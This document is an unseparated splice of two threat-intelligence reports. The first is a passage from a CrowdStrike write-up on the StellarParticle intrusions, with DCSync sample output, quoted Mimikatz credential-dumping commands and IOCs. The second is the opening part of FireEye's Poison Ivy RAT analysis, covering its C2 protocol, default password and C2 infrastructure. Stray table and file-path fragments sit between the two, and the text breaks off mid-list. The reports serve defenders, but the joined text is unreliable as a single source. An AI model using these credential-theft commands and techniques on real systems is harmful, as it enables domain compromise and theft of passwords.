Credential Theft Using Get-ADReplAccount In one example, the threat actor connected into the victims environment via a VPN endpoint that did not have MFA enabled.
Once connected to the VPN, the threat actor connected via Remote Desktop to a Domain Controller and copied the DSInternals PowerShell module to the system.
The threat actor subsequently ran the DSInternals command Get- ADReplAccount targeting two of the victims domains.
This command uses the Microsoft Directory Replication Service (MS-DRSR) protocol and specifically the IDL_DRSGetNCChanges method to return account information from Active Directory such as the current NTLM password hashes and previous password hashes used for enforcing password reuse restrictions.
A common name for this particular technique is DCSync.
An example output from Get-AdReplAccount is below: 10 11 16/22 DistinguishedName: CNTestUser,OUAdmins,OUUsers,DCdemo,DClocal Sid: S-1-5-21-1432446722-301123485-1266542393-2012 Guid: 12321930-7c05-4011-8a3e-e0b9b6e04567 SamAccountName: TestUser SamAccountType: User UserPrincipalName: TestUserdemo.local PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl: NormalAccount AdminCount: True Deleted: False LastLogonDate: 12/2/2021 1:41:46 PM DisplayName: TestUser GivenName: Test Surname: User Description: Admin Account ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative Owner: S-1-5-21-1432446722-301123485-1266542393-512 Secrets NTHash: 84a058676bb6d7de4237e18f09b91156 LMHash: NTHashHistory: Hash 01: 84a058676bb6d7de4237e18f09b91156 Hash 02: e047ebb3b7c463928c928fca95ac0ac8 Hash 03: 6dc3cdb3e559ef00d3521351ace7477e Hash 04: a88355849f35fe7336de23a4ca3e6a9e Hash 05: de9bde95677672295349aa6e1e857704 LMHashHistory: Hash 01: 12227358dd7013c7dbdbd8fdcc0c6668 Hash 02: 6a028636a6f52491424586bb88357f7c Hash 03: c13ef7347853dc3be7e7259fdc8818a1 Hash 04: 6635151746869ce485246037747adae1 Hash 05: 85543f498b007e07a3da662c8a9d450b SupplementalCredentials: ClearText: NTLMStrongHash: de164e3465f163e846a5e1c22a5ac649 Kerberos: Credentials: DES_CBC_MD5 Key: 0013364f00003915 DES_CBC_CRC Key: 0013364f00003915 OldCredentials: DES_CBC_MD5 Key: 00002a46000004bc DES_CBC_CRC Key: 00002a46000004bc Salt: demo.localTestUser Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 17/22 Key: afd4d60e8d0920bc2f94d551f62f0ea2a17523bf2ff8ffb0fdade2a90389282f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: f67c2bcbfcfa30fccb36f72dca22a817 Iterations: 4096 DES_CBC_MD5 Key: 00002f34000004ee Iterations: 4096 DES_CBC_CRC Key: 00002f34000004ee Iterations: 4096 OldCredentials: AES256_CTS_HMAC_SHA1_96 Key: b430783ab4c957cf6a03d3d348af27264c0d872932650ffca712d9ebcf778b9f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: dc34bfd5e469edbeada77fac56aa35ae Iterations: 4096 DES_CBC_MD5 Key: 0000345400000520 Iterations: 4096 DES_CBC_CRC Key: 0000345400000520 Iterations: 4096 OlderCredentials: AES256_CTS_HMAC_SHA1_96 Key: 26efd3593712e555f8366bb4b8aff097d09acd93c3a1b6d4ea03c578aad9e087 Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: c38dfbd6c00b5f3b010a07f9e824fc38 Iterations: 4096 DES_CBC_MD5 Key: 000039a500000551 Iterations: 4096 DES_CBC_CRC Key: 000039a500000551 Iterations: 4096 ServiceCredentials: Salt: demo.localTestUser DefaultIterationCount: 4096 Flags: 0 WDigest: Hash 01: 83ed141ab0eaf1ff7694147ba97e1994 Hash 02: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 03: 0c228c5816a79e561d999d489499a12a Hash 04: 83ed141ab0eaf1ff7694147ba97e1994 Hash 05: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 06: 4e7c5ec6ffb6100f0c7f0bc57749bc93 Hash 07: 83ed141ab0eaf1ff7694147ba97e1994 Hash 08: 10265b08a3bb710da516832eaf64368a Hash 09: 10265b08a3bb710da516832eaf64368a Key Credentials: Credential Roaming Created: Modified: Credentials: 18/22 Figure 10.
Get-ADReplAccount example output When executing the Get-ADReplAccount command, the threat actor specified the AD context to be targeted via the NamingContext parameter.
This was necessary, as the threat actor was targeting multiple domains.
The resulting output of each command was redirected to a text file and compressed as zip archives before exfiltration.
The fact that Get-ADReplAccount command includes not only the current NTLM hashes but also the hash history (i.e., hashes of previous passwords used by a user account) meant that the threat actor also had the ability to discover accounts that either reused the same passwords or used similar passwords when the account password was changed.
Credential Refresh On some investigations, the dwell time of the threat actor spanned years.
Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations.
To combat this, the threat actor periodically refreshed their credential set by performing credential theft activities in an already compromised environment.
At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique.
One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory.
While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256.
CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the scripts execution was logged automatically due to the use of specific keywords.
CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above.
In addition to refreshing the threat actors credentials, the threat actor would also refresh their understanding of the victims AD environment.
Around the time when the threat actor executed Get-ADReplAccount , the threat actor also executed a renamed version of AdFind to output domain reconnaissance information.
In this instance, AdFind was renamed to masquerade as a legitimate Windows binary.
The usage of renamed AdFind is consistent with other industry reporting on this campaign.
In addition to using scripted commands, operators were repeatedly observed manually executing several standard PowerShell cmdlets to enumerate network information from AD, including Get-ADUser and Get-ADGroupMember to query specific members in the directory.
This information provided the adversary with a list of accounts possessing particular privileges in this case, the ability to make VPN connections that would be subject to later credential stealing attempts and leveraged to access the victim at a later time.
Password Policies/Hygiene 19/22 In some cases, the threat actor was able to quickly return to the environment and essentially pick up where they left off, even though the organization had performed an enterprise-wide password reset, including a reset of all service accounts and the double-reset of the krbtgt account.
CrowdStrike determined that in these cases, administrative users had reset their own password to the same password they previously used, essentially nullifying the impact of the enterprise-wide reset.
This was possible even though the customers Active Directory was configured to require new passwords to be different from the previous five passwords for a given account.
Unfortunately, this check only applies when a user is changing their password via the password change method but if a password reset is performed (changing the password without knowing the previous password), this check is bypassed for an administrative user or a Windows account that has the Reset Password permission on a users account object.
Since the Get-ADReplAccount cmdlet described above included the NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was able to verify that some administrative accounts indeed had the exact same password hash showing up multiple times in the password history, as well as in the current NTHash value.
Close Out The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates this threat actors extensive knowledge of Windows and Linux operating systems, Microsoft Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected for months and in some cases, years.
A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet, Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith.
Endnotes MITRE ATTCK Framework The following table maps TTPs covered in this article to the MITRE ATTCK framework.
Tactic Technique Observable Credential Access T1003.006 OS Credential Dumping: DCSync The threat actor obtained Active Directory credentials through domain replication protocols using the Get- ADReplAccount command from DSInternals Credential Access T1003.001: OS Credential Dumping: LSASS Memory The threat actor used a heavily obfuscated PowerShell script to execute the Mimikatz commands privilege::debug sekurlsa::logonpasswords lsadump::lsa /patch in-memory and encrypt the output 12 https://www.crowdstrike.com/cybersecurity-101/mitre-attack-framework/ https://attack.mitre.org/techniques/T1003/006/ https://attack.mitre.org/techniques/T1003/001/ 20/22 Initial Access / Persistence T1078.003: Valid Accounts: Local Accounts A local account was used by the Threat Actor to establish a SSH tunnel into the internal network environment Initial Access / Persistence T1133: External Remote Services The threat actor used VPNs to gain access to systems and persist in the environment Credential Access T1555.003: Credentials from Password Stores: Credentials from Web Browsers The threat actor exported saved passwords from users Chrome browser installations Credential Access T1539: Steal Web Session Cookie The threat actor stole web session cookies from end user workstations and used them to access cloud resources Lateral Movement T1021.001: Remote Services: Remote Desktop Protocol The threat actor used both privileged and non- privileged accounts for RDP throughout the environment, depending on the target system Initial Access, Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor used accounts with Delegated Administrator rights to access other O365 tenants.
The Threat actor also used valid accounts to create persistence within the environment.
Persistence T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription TrailBlazer was configured to execute after a reboot via a command-line event consumer Defense Evasion T1036.005: Masquerading: Match Legitimate Name or Location The threat actor renamed their utilities to masquerade as legitimate system binaries (AdFind as svchost.exe), match the systems role (GoldMax), or appear legitimate (TrailBlazer as an apparent Adobe utility).
Additionally, the threat actor renamed their systems prior to connecting to victims VPNs to match the victims system naming convention https://attack.mitre.org/techniques/T1078/003/ https://attack.mitre.org/techniques/T1133/ https://attack.mitre.org/techniques/T1555/003/ https://attack.mitre.org/techniques/T1539/ https://attack.mitre.org/techniques/T1021/001/ https://attack.mitre.org/techniques/T1078/004/ https://attack.mitre.org/techniques/T1546/003/ https://attack.mitre.org/techniques/T1036/005/ 21/22 Discovery T1087.002: Account Discovery: Domain Account T1482: Domain Trust Discovery T1069.002: Permission Groups Discovery: Domain Groups The threat actor used AdFind, standard PowerShell cmdlets, and custom tooling to identify various pieces of information from Active Directory Defense Evasion / Lateral Movement T1550.001: Use Alternate Authentication Material: Application Access Token The threat actor used compromised service principals to make changes to the Office 365 environment.
Collection T1213.
:
Data from Information Repositories: The threat actor accessed data from Information Repositories Persistence T1098.001: Account Manipulation: Additional Cloud Credentials The threat actor added credentials to O365 Service Principals Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor created new O365 Service Principals to maintain access to victims environments Discovery T1057: Process Discovery The threat actor regularly interrogated other systems using tasklist.exe Reconnaissance T1595.001: Active Scanning: Scanning IP Blocks The threat actor probed external services in an attempt to regain access to the environment Indicators of Compromise (IOCs) https://attack.mitre.org/techniques/T1087/002/ https://attack.mitre.org/techniques/T1482 https://attack.mitre.org/techniques/T1069/002/ https://attack.mitre.org/techniques/T1550/001/ https://attack.mitre.org/techniques/T1213/ https://attack.mitre.org/techniques/T1098/001/ https://attack.mitre.org/techniques/T1078/004/ https://attack.mitre.org/techniques/T1057/ https://attack.mitre.org/techniques/T1595/001/ 22/22 Indicator Details http://satkas.waw[.
]pl/rainloop/forecast TrailBlazer C2 1326932d63485e299ba8e03bfcd23057f7897c3ae0d26ed1235c4fb108adb105 TrailBlazer SHA256 vm-srv-1.gel.ulaval.ca GoldMax C2 2a3b660e19b56dad92ba45dd164d300e9bd9c3b17736004878f45ee23a0177ac GoldMax SHA256 156.96.46.116 TA Infrastructure 188.34.185.85 TA Infrastructure 212.103.61.74 TA Infrastructure 192.154.224.126 TA Infrastructure 23.29.115.180 TA Infrastructure 104.237.218.74 TA Infrastructure 23.82.128.144 TA Infrastructure Additional Resources Read about the latest trends in threat hunting and more in the 2021 Threat Hunting Report or simply download the report now.
Learn more about Falcon OverWatch proactive managed threat hunting.
Watch this video to see how Falcon OverWatch proactively hunts for threats in your environment.
Learn more about the CrowdStrike Falcon platform by visiting the product webpage.
Test CrowdStrike next-gen AV for yourself.
Start your free trial of Falcon Prevent today.
https://www.crowdstrike.com/blog/2021-threat-hunting-report-preview/ https://www.crowdstrike.com/resources/reports/threat-hunting-report-2021/ https://www.crowdstrike.com/endpoint-security-products/falcon-overwatch-threat-hunting/ https://www.crowdstrike.com/resources/videos/falcon-overwatch-proactively-hunts-threats-environment/ https://www.crowdstrike.com/endpoint-security-products/falcon-platform/ https://go.crowdstrike.com/try-falcon-prevent.html
SECURITY REIMAGINED SPECIAL REPORT POISON IVY: Assessing Damage and Extracting Intelligence 1 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence CONTENTS Executive Summary ............................................................................................................................................................................................................................................................................................................. 2 Introduction ............................................................................................................................................................................................................................................................................................................................................. 3 Technical Analysis ...................................................................................................................................................................................................................................................................................................................... 4 Extracting Intelligence ........................................................................................................................................................................................................................................................................................... 14 Poison Ivy Sample Analysis ....................................................................................................................................................................................................................................................................... 14 Conclusion .............................................................................................................................................................................................................................................................................................................................................. 32 About FireEye ................................................................................................................................................................................................................................................................................................................................ 32 http://www.fireeye.com 2 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Even as security professionals shrug off the threat, the presence of a RAT may in itself indicate a targeted attack known as an advanced persistent threat (APT).
Unlike malware focused on opportunistic cybercrime (typically conducted by botnets of comprised machines), RATs require a live person on the other side of the attack.
This report spotlights Poison Ivy (PIVY), a RAT that remains popular and effective a full eight years after its release, despite its age and familiarity in IT security circles.
In conjunction with the study, FireEye is releasing Calamine, a set of free tools to help organizations detect and examine Poison Ivy infections on their systems.
Poison Ivy has been used in several high-profile malware campaigns, most notoriously, the 2011 compromise of RSA SecurID data.
The same year, Poison Ivy powered a coordinated attack dubbed Nitro against chemical makers, government agencies, defense firms and human-rights groups.
Several ongoing cyber attack campaigns use Poison Ivy, including these: admin338Active since 2008, this campaign mostly targets the financial services industry, though we have also seen activity in the telecom, government, and defense sectors.
th3bugFirst detected in 2009, this campaign targets a number of industries, primarily higher education and healthcare.
menuPassAlso launched in 2009, this campaign appears to originate from China, targeting U.S. and overseas defense contractors.
Understanding why Poison Ivy remains one of the most widely used RATs is easy.
Controlled through a familiar Windows interface, it offers a bevy of handy features: key logging, screen capturing, video capturing, file transfers, password theft, system administration, traffic relaying, and more.
Executive Summary Remote access tools (RATs) may be the hackers equivalent of training wheels, as they are often regarded in IT security circles.
But dismissing this common breed of malware could be a costly mistake.
Despite their reputation as a software toy for novice script kiddies, RATs remain a linchpin of many sophisticated cyber attacks.
Requiring little technical savvy to use, RATs offer unfettered access to compromised machines.
They are deceptively simpleattackers can point and click their way through the targets network to steal data and intellectual property.
But they are often delivered as key component of coordinated attacks that use previously unknown (zero-day) software flaws and clever social engineering.
http://www.fireeye.com 3 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence And Poison Ivy is so widely used that security professionals have a harder time tracing attacks that use the RAT to any particular attacker.
We hope to eliminate some of that anonymity with the FireEye Calamine package.
The package, which enables organizations to easily monitor Poison Ivys behavior and communications, includes these components: PIVY callback-decoding tool (ChopShop module) IVY memory-decoding tool (Immunity Debugger PyCommand script) ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints.
The FireEye PIVY module for ChopShop decrypts Poison Ivy network traffic.
PyCommands, meanwhile, are Python scripts that automate tasks for Immunity Debugger, a popular tool for reverse-engineering malware binaries.2 The FireEye PyCommand script dumps configuration information from a running PIVY process on an infected endpoint, which can provide additional telemetry about the threat actor behind the attack.
FireEye is sharing the Calamine tools with the security community at large under the BSD 2-Clause License3 for both commercial and non-commercial use worldwide.
The tools are available for download at the following locations: https://github.com/fireeye/pycommands https://github.com/fireeye/chopshop By tracking the PIVY server activity, security professionals can find these telltale indicators: The domains and IPs used for Command and Control (CnC) The attackers PIVY process mutex The attackers PIVY password The launcher code used in the malware droppers A timeline of malware activity This report explains how Calamine can connect these and other facets of the attack.
This evidence is especially useful when it is correlated with multiple attacks that display the same identifying features.
Combining these nuts-and-bolts details with big-picture intelligence can help profile threat attackers and enhance IT defenses.
Calamine may not stop determined attackers that use Poison Ivy.
But it can make their criminal endeavors that much more difficult.
Introduction Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com.
First released in 2005, the tool has gone unchanged since 2008 with v ersion 2.3.2.
Poison Ivy includes features common to most Windows-based RATs, including key logging, screen capturing, video capturing, file transfers, system administration, password theft, and traffic relaying.
Poison Ivys wide availability and easy-to-use features make it a popular choice for all kinds of 1 ChopShop is available for download at https://github.com/MITRECND/chopshop.
2 Immunity Debugger is available at http://debugger.immunityinc.com/.
3 For more information about the BSD 2-Clause License, see the Open Source Initiatives template at http://opensource.org/licenses/BSD-2-Clause.
http://www.fireeye.com 4 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence criminals.
But it is probably most notable for its role in many high profile, targeted APT attacks.
These APTs pursue specific targets, using RATs to maintain a persistent presence within the targets network.
They move laterally and escalate system privileges to extract sensitive information whenever the attacker wants to do so.4,5 Because some RATs used in targeted attacks are widely available, determining whether an attack is part of a broader APT campaign can be difficult.
Equally challenging is identifying malicious traffic to determine the attackers post-compromise activities and assess overall damagethese RATs often encrypt their network communications after the initial exploit.
In 2011, three years after the most recent release of PIVY, attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system.
That data was subsequently used in other attacks.6 The RSA attack was linked to Chinese threat actors and described at the time as extremely sophisticated.
Exploiting a zero-day vulnerability, the attack delivered PIVY as the payload.7,8 It was not an isolated incident.
The campaign appears to have s tarted in 2010, with many other companies compromised.9 PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers, government agencies, defense contractors, and human rights groups.10,11 Still active a year later, the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012.12 Just recently, PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a strategic web compromise attack against visitors to a U.S. government website and a variety of others.13 RATs require live, direct, real-time human interaction by the APT attacker.
This characteristic is distinctly different from crimeware (malware focused on cybercrime), where the criminal can issue commands to their botnet of compromised endpoints whenever they please and set them to work on a common goal such as a spam relay.
In contrast, RATs are much more personal and may indicate that you are dealing with a dedicated threat actor that is interested in your organization specifically.
Technical Analysis Build and implantation The Poison Ivy builder kit allows attackers to customize and build their own PIVY server, which is delivered as mobile code to a target that has been compromised, typically using social engineering.
Once the server executes on a targets endpoint, it connects to a PIVY client installed on the attackers machine, giving the attacker control of the target system.
The PIVY server code can executed on the target endpoint in a number of ways, depending on how the attacker configured it.
In the most common configuration, the PIVY server divides its code into two parts: 4 Joe Stewart.
The Sin Digoo Affair.
February 2012.
5 Nart Villeneuve.
Trends in Targeted Attacks.
October 2011.
6 eWeek.
Northrop Grumman, L-3 Communications Hacked via Cloned RSA SecurID Tokens.
June 2011.
7 RSA FraudAction Research Labs.
Anatomy of an Attack.
April 2011.
8 CNET.
Attack on RSA used zero-day Flash exploit in Excel.
April 2011.
9 Brian Krebs.
Who Else Was Hit by the RSA Attackers?
October 2011.
10 Eric Chien and Gavin OGorman.
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78
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The Nitro Attacks: Stealing Secrets from the Chemical Industry.
| 19,320
| 19,386
| 67
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data/reports_final/0078.txt
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The Nitro Attacks: Stealing Secrets from the Chemical Industry.
October 2011.
11 GovCERTUK Computer Emergency Response Team.
Targeted Email Attack Alert.
October 2011.
12 Symantec.
Java Zero-Day Used in Targeted Attack Campaign.
August 2012.
13 Yichong Lin.
IE Zero Day is Used in DoL Watering Hole Attack.
May 2013.
http://www.fireeye.com 5 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Initialization and maintenance code Networking code The initialization and maintenance code is injected into the already-running explorer.exe process.
Depending on how the attacker configures it, the networking code launches a hidden Web browser process (the systems default browser) and injects itself into that process.
The networking code then remotely downloads (from the attackers PIVY client as shellcode) the rest of the code and data it needs for its features and functionality.
The new code executes on the targets endpoint within the context of the target process.
All of PIVYs global variables, configuration details, and function pointers are stored in a C-style struct (data structure), which is also injected into the target processes in both the PIVY networking code and initialization and maintenance code.
This distinct characteristic has the side effect of having every CALL instruction and global variable address being referenced as an offset to a register when looking at the codes disassembly.
The code injected into explorer.exe is peculiar in that, unlike most malware-injected code, this code is injected function by function each with its own memory region, filling in the proper function pointers in its struct.
If the persistence PIVY option is enabled, a watchdog thread is also injected into explorer.exe, which automatically restarts the PIVY server process if it is unexpectedly terminated by the targets operating system.
PIVYs keylogging function, if enabled, is also injected into explorer.exe.
Command and Control protocol Figure 1: PIVY server configuration details being reported to the PIVY client http://www.fireeye.com 6 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Figure 2: Data and functions referenced as offsets to the struct pointed to by the ESI register Figure 3: Injected functions in separate memory regions in explorer.exe Figure 4: The persistence thread in explorer.exe can easily be killed from Process Explorer http://www.fireeye.com 7 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Poison Ivy features a complex, custom network protocol over TCP.
Most of this communication is encrypted using the Camellia cipher with a 256-bit key.14 The key is derived from a password provided by the attacker when building the PIVY server.
The password, admin by default, can be provided in plain text or as hex-ASCII.
The password is zero-padded to 32 bytes (256 bits).
The key is validated at the beginning of the TCP session with a challenge-response algorithm.
The PIVY server sends 256 bytes of randomly generated data to the PIVY client which, in turn, encrypts the data using the key and sends it back to the PIVY server for validation.
Much of the data sent throughout PIVYs communications is also compressed before encryption using Microsofts LZNT1 compression algorithm,15 which PIVY utilizes through the Windows RtlCompressBuffer API.
The protocol operates by sending encrypted data in chunks that are prepended with the following encrypted 32-byte header: struct PI_chunk_header int command_id int stream_id int padded_chunk_size int chunk_size int decompressed_chunk_size long total_stream_size int padding The PI_chunk_header structure is arranged as follows: command_idThis member identifies which feature of PIVY the chunked data is related to.
stream_idThis member identifies which stream this flow corresponds to.
PIVYs protocol supports sending multiple streams of data simultaneously.
padded_chunk_sizeBecause Camellia is a 16-byte block cipher, padding is utilized in the headers and in the data chunks.
chunk_sizeChunks are assembled into a stream of data that could be anything, such as a transferred file, shellcode to execute, a screen capture bitmap file, or raw data.
decompressed_chunk_sizeIf this size is different from the chunk_size, the chunk is compressed using LZNT1.
total_stream_sizeThis member specifies the total size of the data being sent for the related command_id.
paddingThis member specifies the zero padding (up to 32 bytes).
http://www.fireeye.com 8 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Figure 5: PIVY initial communication protocol Figure 6: PIVY data chunks with headers http://www.fireeye.com 9 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Calamine ChopShop module The FireEye Poison Ivy decoder checks the beginning of each TCP session for possible PIVY challengeresponse sequences.
If found, the module will try to validate the response using one or more passwords supplied as arguments.
If no password is supplied, it tries the default admin password.
You can supply a single password in either plain-text form or hex-ASCII form.
For multiple passwords, you can specify a text file containing line-delimited passwords.
If the decoder identifies valid initial PIVY flows based on a supplied password, then the decoder decodes the rest of the relevant flow or flows.
To use the FireEye ChopShop module, you must install CamCrypt, a python wrapper for an open-source implementation of the Camellia encryption library.16 Most of the features of PIVY are covered to some extent in this module.
Note: If the PIVY flows do not correspond to any supplied password, then decoding fails.
Fortunately, you can easily locate the custom PIVY password if you have a compromised endpoint infected with PIVY or a copy of the PIVY server code, as explained in the section Locating the PIVY Password with the Calamine PyCommand Script.
Calamine ChopShop usage notes Calamine ChopShop offers the following features and options: Files transferred to or from the PIVY server are saved to disk when the -f option is used.
Webcam, audio, keylog, and single screen captures are saved to disk when the -c option is used.
The audio captures are saved as raw data that can easily be converted to .wav files u sing a tool such as SoX.17 The decoder prints the sample rate, channel, and bit data.
File and registry search details and results are displayed.
The details of any network relays instantiated are displayed.
Active port listings are displayed.
This module partially supports decoding listings of Windows files, the registry, services, processes, devices, and installed application listings.
During PIVY flow decoding, the modules default output indicates that listing requests have occurred and, when applicable, highlights which key or directory is being listed.
Directory listings are printed, but without file details.
When the module is invoked with the -1 option, all returned list data is saved to a file in raw for m, just as it is seen by the PIVY client: a mixtur e of strings and binary data describing those strings.
If you are interested in the details of what was listed, running the strings tool on raw file dumps is useful.
If you encounter an unrecognized command or want to extend the functionality of this decoder, the -d option is useful.
It prints hex dumps of all the headers and assembled streams in both directions, helping to analyze and build additional parsing functionality.
16 CamCrypt is available at https://code.google.com/p/camcrypt/.
17 SoX is available at http://sox.sourceforge.net/.
http://www.fireeye.com 10 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Locating the PIVY password with the calamine PyCommand script Many attackers leave the default admin password unchanged.
In this case, you can start using this decoder immediately.
Often, however, the attacker opts for better security by creating a unique password.
But if you have access to the PIVY-infected endpoint or to the PIVY server executable, retrieving the password is easy.
You can retrieve the password a number of ways, depending on your circumstance and preferences.
If you prefer working with memory dumps, digital forensics expert Andreas Schuster has released a wonderful Volatility plugin for PIVY.18 Volatility dumps most of PIVYs useful configuration data, including the password, as shown at the Volatility project page (http://code.google.com/p/volatility/ source/browse/trunk/contrib/plugins/malware/ poisonivy.py?r2833).
If you have a malware-analysis environment setup, the Calamine PyCommand19 script for Immunity Debugger is quick and simple.18 The Volatility plugin is available at https://www.volatilesystems.
com/default/volatility.19 Corelan Team.
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Mandiant APT1 Report Has Critical Analytic Flaws.
February 2013.
http://www.fireeye.com 15 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Each PIVY server (the malware that the attacker sends to the target) can be configured to connect to multiple CnC servers using any TCP port.
So seeing a PIVY sample that attempts to connect to multiple CnC servers on different TCP ports is not unusual.
But the most common ports used in targeted attacks are those associated with Web trafficespecially 443, the TCP port used for SSL-encrypted Web traffic.
Port 443 is a significant choice for two reasons.
First, perimeter defenses must allow outbound traffic through this port so that users can access legitimate SSL-encrypted websites.
Second, because the traffic on port 443 is encrypted, PIVYs encrypted traffic may bl end in with normal network activity.
(
Many protocol-aware perimeter defenses, however, can detect and flag PIVY traffic).
TCP Port Used PIVY Sample Count 443 157 80 104 8080 22 8000 12 1863 7 PIVY Process Mutex PIVY Sample Count )VoqA.I4 14 KDJAFE 4 KEIVHS 3 1Sjfhtd8 3 2SFR 3 Table 1: Common TCP ports used by PIVY variants in APT attacks Table 2: Common process mutex seen in PIVY variants attributed to APT attacks http://www.fireeye.com 16 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence The attacker can set the PIVY process mutex name at build time.25 While some attacks use the default mutex of )VoqA.I4, most create a custom mutex for each attack.
Of the 147 mutexes in our sample set, 56 were designed for one-time use.
If attackers create a unique password at build time rather than using the PIVY default admin, that custom password is the most unique indicator.
While threat actors may change passwords used over time, we have found that they often use the same one for significant periods.
When combined with CnC data, the passwords used by the actors provide unique indicators that can be used to cluster related activity.
Clustering To cluster the activity of specific APT campaigns across our PIVY sample set, we first grouped the PIVY samples by common CnC infrastructure.
Using passive DNS, we clustered the domain names used by the common IP address to which they resolved.
Because attackers may park their domains by pointing to IP addresses that they do not necessarily control (and to account for other possible anomalies in passive DNS data), we layered additional indicators extracted from the samples, such as PIVY passwords, mutexes, campaign marks/codes,26 and launcher information.27 From our data set, we focused on three separate APT campaigns and corresponding threat actors identified by the PIVY password used in subsequent attacks: admin338 th3bug menuPass Each of these campaigns is detailed in the corresponding sections.
25 A mutex is a Windows object used for inter-process synchronization.
They are often used by malware to ensure only one instance of the malware is running on an infected system at a given time.
26 A campaign mark/code is typically a string designated by a threat actor that is often included as part of the malware communication and/or embedded within the malware binaries.
It is used to identify targeted attack campaigns against a set number of targets (usually by industry), so the threat actor can keep attacks organized.
27 Launchers are malware built specifically to load other malware (payload), often by decrypting the payload and injecting it into a host process on the targets endpoint.
PIVY Password PIVY Sample Count admin 38 keaidestone 35 menuPass 24 suzuki 14 happyyongzi 13 Table 3: Common PIVY passwords seen in PIVY variants attributed to APT attacks http://www.fireeye.com 17 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence To triangulate the timing (when the sample was likely used), we used the portable executable (PE) compile time extracted from the PIVY samples and the date each sample appeared first appeared in a malwareanalysis services such as VirusTotal.
Each of these APT campaigns has been active from 2008 through 2013.
Campaign 1: admin338 Our data set for the admin338 threat actor contains the following: 21 Poison Ivy samples 3 passwords 43 CnC servers The earliest admin338 PIVY sample we have dates to December 27, 2009.
But we believe that this campaign was active as early as January 7, 2008, using other PIVY passwords (key123 and gwx123).
This ongoing campaign tends to target the finance, economic, and trade policy but we see significant activity in the ISP/telco, government, and defense sectors as well.
Figure 9: Percent of admin338 APT group attacks by industry http://www.fireeye.com 18 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Attack vector The preferred attack vector used by this campaign is spear-phishing emails.
Using content that is relevant to the target, these emails are designed to entice the target to open an attachment that contains the malicious PIVY server code.
The content of the spear-phishing emails and the decoy documents opened after exploitation tend to be in Englishalthough the character set of the email message body in Figure 10 is actually Chinese (character set GB2312).28 Figure 10: Example spear-phishing email launched by the admin338 APT group 28 Wikipedia.
GB 2312.
February 2013.
http://www.fireeye.com 19 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Weaponization This campaign has used weaponized Microsoft Word documents (CVE-2012-0158),29 Adobe Acrobat PDFs (CVE-2009-4324)30 and Microsoft Help Files (.HLP) to drop PIVY on their targets.
The decoy documents that are opened in exploitation typically contain content that is contextually relevant to both the text of the spear-phishing email and to the interests of the intended target.
The documents are legitimate but weaponizeddocuments in English.
Clustering In addition to the PIVY password admin338, we clustered individual attacks by using passive DNS data to look at the IP addresses the CnC servers have resolved to over time.
We found that common IP addresses among PIVY samples for admin338, key123 and gwx123.
29 National Institute of Standards and Technology.
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30 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2009-4324.
December 2009.
Figure 11: GB2312 encoding in spear-phishing email launched by the admin338 APT group Figure 12: Contents of decoy attachments used by the admin338 APT group http://www.fireeye.com 20 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence We can link PIVY passwords key123 with admin338 by observing the following connections: The key123 sample, 808e21d6efa2884811fbd0adf67fda78, connects directly to 219.76.208.163.
Two CnC domain names from the admin338 sample 8010cae3e8431bb11ed6dc9acabb93b7, www.webserver.dynssl.com and www.
webserver.freetcp.com, resolved to that same IP address (219.76.208.163).
We can link PIVY passwords gwx123 with admin338 by observing the following connections: The gwx123 sample 0323de551aa10ca6221368c4a73732e6 connects to the CnC domain names microsofta.
byinter.net, microsoftb.byinter.net, microsoftc.
byinter.
net, and microsofte.byinter.net.
These domain names resolved to 113.10.246.30 219.90.112.203, 202.65.220.64, 75.126.95.138, 219.90.112.197, 202.65.222.45, and 98.126.148.114.
